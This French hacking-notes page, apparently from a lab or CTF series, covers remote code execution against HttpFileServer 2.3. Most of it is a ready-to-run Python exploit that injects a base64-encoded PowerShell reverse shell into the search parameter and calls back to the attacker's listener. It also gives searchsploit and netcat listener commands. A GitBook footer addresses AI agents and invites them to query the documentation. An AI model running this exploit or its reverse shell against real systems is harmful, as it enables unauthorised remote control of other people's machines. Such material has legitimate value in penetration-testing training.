# HttpFileServer 2.3
Un serveur web HttpFileServer 2.3 a été découvert. Cette version est vulnérable à l’exécution de code à distance (RCE).
### **Recherche d’exploit**
Commande :
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Script Python personnalisé**
**Script Python personnalisé**
Modifiez le script pour inclure les paramètres suivants :
* `LHOST` : votre IP locale (VPN).
* `LPORT` : port local d’écoute (ex. 4444).
* `RHOST` : IP cible.
* `RPORT` : port du service vulnérable, par exemple 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Définir la commande à écrire dans un fichier
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Encoder la commande au format base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nCommande encodée au format base64...")
# Définir la charge utile à inclure dans l’URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Encoder la charge utile et envoyer une requête HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nCharge utile encodée et requête HTTP GET envoyée à la cible...")
# Afficher quelques informations
print("/nAffichage de quelques informations pour le débogage...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Écouter les connexions
print("/nEn attente de connexion...")
os.system(f'nc -nlvp {lport}')
```
Configurez votre machine comme écouteur :
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/cms/httpfileserver-2.3-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
